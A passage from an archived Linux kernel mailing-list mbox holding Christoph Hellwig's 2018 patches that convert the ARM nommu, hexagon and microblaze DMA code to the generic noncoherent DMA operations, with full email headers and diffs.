-	.sync_sg_for_cpu	= arm_nommu_dma_sync_sg_for_cpu,
-};
-EXPORT_SYMBOL(arm_nommu_dma_ops);
-
-static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
-{
-	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
-}
-
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 			const struct iommu_ops *iommu, bool coherent)
 {
-	const struct dma_map_ops *dma_ops;
-
 	if (IS_ENABLED(CONFIG_CPU_V7M)) {
 		/*
 		 * Cache support for v7m is optional, so can be treated as
@@ -233,9 +129,10 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 		dev->archdata.dma_coherent = (get_cr() & CR_M) ? coherent : true;
 	}
 
-	dma_ops = arm_nommu_get_dma_map_ops(dev->archdata.dma_coherent);
-
-	set_dma_ops(dev, dma_ops);
+	if (dev->archdata.dma_coherent)
+		set_dma_ops(dev, &dma_direct_ops);
+	else
+		set_dma_ops(dev, &dma_noncoherent_ops);
 }
 
 void arch_teardown_dma_ops(struct device *dev)
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 09/22] hexagon: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:00 +0200
Lines: 281
Approved: news@gmane.org
Message-ID: <20180420080313.18796-10-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211349 17459 195.159.176.226 (20 Apr 2018 08:02:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:29 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9Qzv-0004QL-5v
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754247AbeDTIE3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:29 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40036 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754221AbeDTIEV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=i5FdiX6TUogVrkdkgLI5a9WYrquagsY8rtpvzZoZSeE=; b=bOm9rXGk8awWL4QFiyI9sw4hE
        dve8zf2mmTltOkxi0/hWPKZ9p+sFve7v4M3Mzvdcms8FGHMzzP+qPrwnHgOxfBJMlV9d8CIbgg3pS
        AlFmH33y27dHeY73gtAdJiV168qeVh9Z1cctVsxehJzpF23bhUzo9tdCwRJG4cwuZGYeWNvnhSOz2
        //cyffuS1tBavfdK9cOeixwoV85mfH3cHPIFNMHq5CIw+5XHTrmT7UEtW0E581PUDzcZUdXKH9QBh
        DdvsW5sKHOnjm5sYTPWze+pUMCpHj6IDGjnO98tnFM7Bo6gkXa69O+BsLa3s3r3ZH+vK6n8PQlW0p
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1H-0007Rt-8o; Fri, 20 Apr 2018 08:03:47 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746068 gmane.linux.kernel.cross-arch:43560 gmane.linux.ports.alpha:4959 gmane.linux.kernel.arc:3802 gmane.linux.ports.arm.kernel:644792 gmane.linux.ports.hexagon:1645 gmane.linux.ports.parisc:28517 gmane.linux.ports.sh.devel:56868 gmane.linux.ports.sparc:27685
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746068>

Switch to the generic noncoherent direct mapping implementation.

This removes the previous sync_single_for_cpu implementation, which looks
bogus given that no syncing is happening in the similar but more
important unmap_single case.

This adds the previously missing sync_sg_for_device implementation that
matches the pre-existing sync_single_for_device implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/hexagon/Kconfig                   |   2 +
 arch/hexagon/include/asm/Kbuild        |   1 +
 arch/hexagon/include/asm/dma-mapping.h |  40 -------
 arch/hexagon/kernel/dma.c              | 143 ++-----------------------
 4 files changed, 11 insertions(+), 175 deletions(-)
 delete mode 100644 arch/hexagon/include/asm/dma-mapping.h

diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 37adb2003033..bcbdcb32935c 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -4,6 +4,7 @@ comment "Linux Kernel Configuration for Hexagon"
 
 config HEXAGON
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select HAVE_OPROFILE
 	# Other pending projects/to-do items.
 	# select HAVE_REGS_AND_STACK_ACCESS_API
@@ -28,6 +29,7 @@ config HEXAGON
 	select GENERIC_CLOCKEVENTS_BROADCAST
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
+	select DMA_NONCOHERENT_OPS
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index e9743f689fb8..843a8086e980 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += bugs.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += extable.h
 generic-y += fb.h
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
deleted file mode 100644
index 263f6acbfb0f..000000000000
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * DMA operations for the Hexagon architecture
- *
- * Copyright (c) 2010-2011, The Linux Foundation. All rights reserved.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 and
- * only version 2 as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
- */
-
-#ifndef _ASM_DMA_MAPPING_H
-#define _ASM_DMA_MAPPING_H
-
-#include <linux/types.h>
-#include <linux/cache.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <asm/io.h>
-
-struct device;
-
-extern const struct dma_map_ops *dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return dma_ops;
-}
-
-#endif
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 77459df34e2e..ffc4ae8e126f 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -18,32 +18,19 @@
  * 02110-1301, USA.
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/bootmem.h>
 #include <linux/genalloc.h>
-#include <asm/dma-mapping.h>
 #include <linux/module.h>
 #include <asm/page.h>
 
-#define HEXAGON_MAPPING_ERROR	0
-
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
-static inline void *dma_addr_to_virt(dma_addr_t dma_addr)
-{
-	return phys_to_virt((unsigned long) dma_addr);
-}
-
 static struct gen_pool *coherent_pool;
 
 
 /* Allocates from a pool of uncached memory that was reserved at boot time */
 
-static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_addr, gfp_t flag,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_addr,
+		gfp_t flag, unsigned long attrs)
 {
 	void *ret;
 
@@ -75,58 +62,17 @@ static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
 	return ret;
 }
 
-static void hexagon_free_coherent(struct device *dev, size_t size, void *vaddr,
-				  dma_addr_t dma_addr, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	gen_pool_free(coherent_pool, (unsigned long) vaddr, size);
 }
 
-static int check_addr(const char *name, struct device *hwdev,
-		      dma_addr_t bus, size_t size)
-{
-	if (hwdev && hwdev->dma_mask && !dma_capable(hwdev, bus, size)) {
-		if (*hwdev->dma_mask >= DMA_BIT_MASK(32))
-			printk(KERN_ERR
-				"%s: overflow %Lx+%zu of device mask %Lx\n",
-				name, (long long)bus, size,
-				(long long)*hwdev->dma_mask);
-		return 0;
-	}
-	return 1;
-}
-
-static int hexagon_map_sg(struct device *hwdev, struct scatterlist *sg,
-			  int nents, enum dma_data_direction dir,
-			  unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = sg_phys(s);
-		if (!check_addr("map_sg", hwdev, s->dma_address, s->length))
-			return 0;
-
-		s->dma_length = s->length;
+	void *addr = phys_to_virt(paddr);
 
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_dcache_range(dma_addr_to_virt(s->dma_address),
-				   dma_addr_to_virt(s->dma_address + s->length));
-	}
-
-	return nents;
-}
-
-/*
- * address is virtual
- */
-static inline void dma_sync(void *addr, size_t size,
-			    enum dma_data_direction dir)
-{
 	switch (dir) {
 	case DMA_TO_DEVICE:
 		hexagon_clean_dcache_range((unsigned long) addr,
@@ -144,76 +90,3 @@ static inline void dma_sync(void *addr, size_t size,
 		BUG();
 	}
 }
-
-/**
- * hexagon_map_page() - maps an address for device DMA
- * @dev:	pointer to DMA device
- * @page:	pointer to page struct of DMA memory
- * @offset:	offset within page
- * @size:	size of memory to map
- * @dir:	transfer direction
- * @attrs:	pointer to DMA attrs (not used)
- *
- * Called to map a memory address to a DMA address prior
- * to accesses to/from device.
- *
- * We don't particularly have many hoops to jump through
- * so far.  Straight translation between phys and virtual.
- *
- * DMA is not cache coherent so sync is necessary; this
- * seems to be a convenient place to do it.
- *
- */
-static dma_addr_t hexagon_map_page(struct device *dev, struct page *page,
-				   unsigned long offset, size_t size,
-				   enum dma_data_direction dir,
-				   unsigned long attrs)
-{
-	dma_addr_t bus = page_to_phys(page) + offset;
-	WARN_ON(size == 0);
-
-	if (!check_addr("map_single", dev, bus, size))
-		return HEXAGON_MAPPING_ERROR;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync(dma_addr_to_virt(bus), size, dir);
-
-	return bus;
-}
-
-static void hexagon_sync_single_for_cpu(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
-static void hexagon_sync_single_for_device(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
-static int hexagon_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return dma_addr == HEXAGON_MAPPING_ERROR;
-}
-
-const struct dma_map_ops hexagon_dma_ops = {
-	.alloc		= hexagon_dma_alloc_coherent,
-	.free		= hexagon_free_coherent,
-	.map_sg		= hexagon_map_sg,
-	.map_page	= hexagon_map_page,
-	.sync_single_for_cpu = hexagon_sync_single_for_cpu,
-	.sync_single_for_device = hexagon_sync_single_for_device,
-	.mapping_error	= hexagon_mapping_error,
-};
-
-void __init hexagon_dma_init(void)
-{
-	if (dma_ops)
-		return;
-
-	dma_ops = &hexagon_dma_ops;
-}
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 11/22] microblaze: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:02 +0200
Lines: 329
Approved: news@gmane.org
Message-ID: <20180420080313.18796-12-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211356 17953 195.159.176.226 (20 Apr 2018 08:02:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:36 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R02-0004Xh-7x
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754267AbeDTIEc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:32 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40220 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754238AbeDTIE3 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:29 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=fzRZw0PbXEGlg5XuwEDnQPSOFkpHYwicNfUz5z/rN9E=; b=ThReTLsb57shRh/w6uIhuBf70
        yoOPUEllZ9w0D7yEG8JcSBIjr+aoPwtrMgMdopQEiIajbG0Mcgn7DKY4HDHjlrxYv9pYhp8zZ8RfH
        s+DhdYFYjz6lejF/VhTvlXBryTnTM7ajNkVAyVsQtR+hyFj4EqB3RKsp80iUa26ZWkWTG7NNO6fPF
        ueHNDZ3OaNiRAjtNcbctxG1IJwE1j4RfnJLL+F6PB3a6zewEfdz1PqjeRmW6YPM/UNhVNvis8JpeL
        FJAKUED8qALBsbOhIZIDxopWX62hdSAzCWOC0Je7vNSTbekLpqRxQaH1FTI4qlnLSKNNQftHS9YKO
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1N-0007Vn-Mq; Fri, 20 Apr 2018 08:03:54 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746069 gmane.linux.kernel.cross-arch:43561 gmane.linux.ports.alpha:4960 gmane.linux.kernel.arc:3803 gmane.linux.ports.arm.kernel:644793 gmane.linux.ports.hexagon:1646 gmane.linux.ports.parisc:28518 gmane.linux.ports.sh.devel:56869 gmane.linux.ports.sparc:27686
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746069>

Switch to the generic noncoherent direct mapping implementation.

This removes the direction-based optimizations in
sync_{single,sg}_for_{cpu,device} which were marked untestested and
do not match the usually very well tested {un,}map_{single,sg}
implementations.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/Kconfig                   |   4 +
 arch/microblaze/include/asm/Kbuild        |   1 +
 arch/microblaze/include/asm/dma-mapping.h |  28 -----
 arch/microblaze/include/asm/pgtable.h     |   2 -
 arch/microblaze/kernel/dma.c              | 144 ++--------------------
 arch/microblaze/mm/consistent.c           |   9 +-
 6 files changed, 22 insertions(+), 166 deletions(-)
 delete mode 100644 arch/microblaze/include/asm/dma-mapping.h

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3817a3e2146c..91b9b999eb18 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -1,6 +1,8 @@
 config MICROBLAZE
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select ARCH_WANT_IPC_PARSE_VERSION
@@ -8,6 +10,8 @@ config MICROBLAZE
 	select TIMER_OF
 	select CLONE_BACKWARDS3
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_MMAP
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_CPU_DEVICES
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index 3c80a5a308ed..8d3e71f43a3e 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += bug.h
 generic-y += bugs.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
deleted file mode 100644
index add50c1373bf..000000000000
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Implements the generic device dma API for microblaze and the pci
- *
- * Copyright (C) 2009-2010 Michal Simek <monstr@monstr.eu>
- * Copyright (C) 2009-2010 PetaLogix
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License. See the file COPYING in the main directory of this
- * archive for more details.
- *
- * This file is base on powerpc and x86 dma-mapping.h versions
- * Copyright (C) 2004 IBM
- */
-
-#ifndef _ASM_MICROBLAZE_DMA_MAPPING_H
-#define _ASM_MICROBLAZE_DMA_MAPPING_H
-
-/*
- * Available generic sets of operations
- */
-extern const struct dma_map_ops dma_nommu_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_nommu_ops;
-}
-
-#endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index e53b8532353c..5174733fb489 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -551,8 +551,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle);
-void consistent_free(size_t size, void *vaddr);
 void consistent_sync(void *vaddr, size_t size, int direction);
 void consistent_sync_page(struct page *page, unsigned long offset,
 	size_t size, int direction);
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 3145e7dc8ab1..71032cf64669 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -8,29 +8,15 @@
  */
 
 #include <linux/device.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/gfp.h>
 #include <linux/dma-debug.h>
 #include <linux/export.h>
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
-				       dma_addr_t *dma_handle, gfp_t flag,
-				       unsigned long attrs)
-{
-	return consistent_alloc(flag, size, dma_handle);
-}
-
-static void dma_nommu_free_coherent(struct device *dev, size_t size,
-				     void *vaddr, dma_addr_t dma_handle,
-				     unsigned long attrs)
-{
-	consistent_free(size, vaddr);
-}
-
-static inline void __dma_sync(unsigned long paddr,
-			      size_t size, enum dma_data_direction direction)
+static void __dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
+		enum dma_data_direction direction)
 {
 	switch (direction) {
 	case DMA_TO_DEVICE:
@@ -45,113 +31,21 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
-			     int nents, enum dma_data_direction direction,
-			     unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync(sg_phys(sg), sg->length, direction);
-	}
-
-	return nents;
-}
-
-static inline dma_addr_t dma_nommu_map_page(struct device *dev,
-					     struct page *page,
-					     unsigned long offset,
-					     size_t size,
-					     enum dma_data_direction direction,
-					     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(page_to_phys(page) + offset, size, direction);
-	return page_to_phys(page) + offset;
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void dma_nommu_unmap_page(struct device *dev,
-					 dma_addr_t dma_address,
-					 size_t size,
-					 enum dma_data_direction direction,
-					 unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-/* There is not necessary to do cache cleanup
- *
- * phys_to_virt is here because in __dma_sync_page is __virt_to_phys and
- * dma_address is physical address
- */
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(dma_address, size, direction);
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void
-dma_nommu_sync_single_for_cpu(struct device *dev,
-			       dma_addr_t dma_handle, size_t size,
-			       enum dma_data_direction direction)
-{
-	/*
-	 * It's pointless to flush the cache as the memory segment
-	 * is given to the CPU
-	 */
-
-	if (direction == DMA_FROM_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_single_for_device(struct device *dev,
-				  dma_addr_t dma_handle, size_t size,
-				  enum dma_data_direction direction)
-{
-	/*
-	 * It's pointless to invalidate the cache if the device isn't
-	 * supposed to write to the relevant region
-	 */
-
-	if (direction == DMA_TO_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_cpu(struct device *dev,
-			   struct scatterlist *sgl, int nents,
-			   enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_FROM_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_device(struct device *dev,
-			      struct scatterlist *sgl, int nents,
-			      enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_TO_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static
-int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
-			     void *cpu_addr, dma_addr_t handle, size_t size,
-			     unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t handle, size_t size,
+		unsigned long attrs)
 {
 #ifdef CONFIG_MMU
 	unsigned long user_count = vma_pages(vma);
@@ -170,17 +64,3 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	return -ENXIO;
 #endif
 }
-
-const struct dma_map_ops dma_nommu_ops = {
-	.alloc			= dma_nommu_alloc_coherent,
-	.free			= dma_nommu_free_coherent,
-	.mmap			= dma_nommu_mmap_coherent,
-	.map_sg			= dma_nommu_map_sg,
-	.map_page		= dma_nommu_map_page,
-	.unmap_page		= dma_nommu_unmap_page,
-	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
-	.sync_single_for_device	= dma_nommu_sync_single_for_device,
-	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
-	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(dma_nommu_ops);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b06c3a7faf20..b9a9c8c3397b 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -33,6 +33,7 @@
 #include <linux/pci.h>
 #include <linux/interrupt.h>
 #include <linux/gfp.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/pgalloc.h>
 #include <linux/io.h>
@@ -59,7 +60,8 @@
  * uncached region.  This will no doubt cause big problems if memory allocated
  * here is not also freed properly. -- JW
  */
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long order, vaddr;
 	void *ret;
@@ -154,7 +156,6 @@ void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
 
 	return ret;
 }
-EXPORT_SYMBOL(consistent_alloc);
 
 #ifdef CONFIG_MMU
 static pte_t *consistent_virt_to_pte(void *vaddr)
@@ -178,7 +179,8 @@ unsigned long consistent_virt_to_pfn(void *vaddr)
 /*
  * free page(s) as defined by the above mapping.
  */
-void consistent_free(size_t size, void *vaddr)
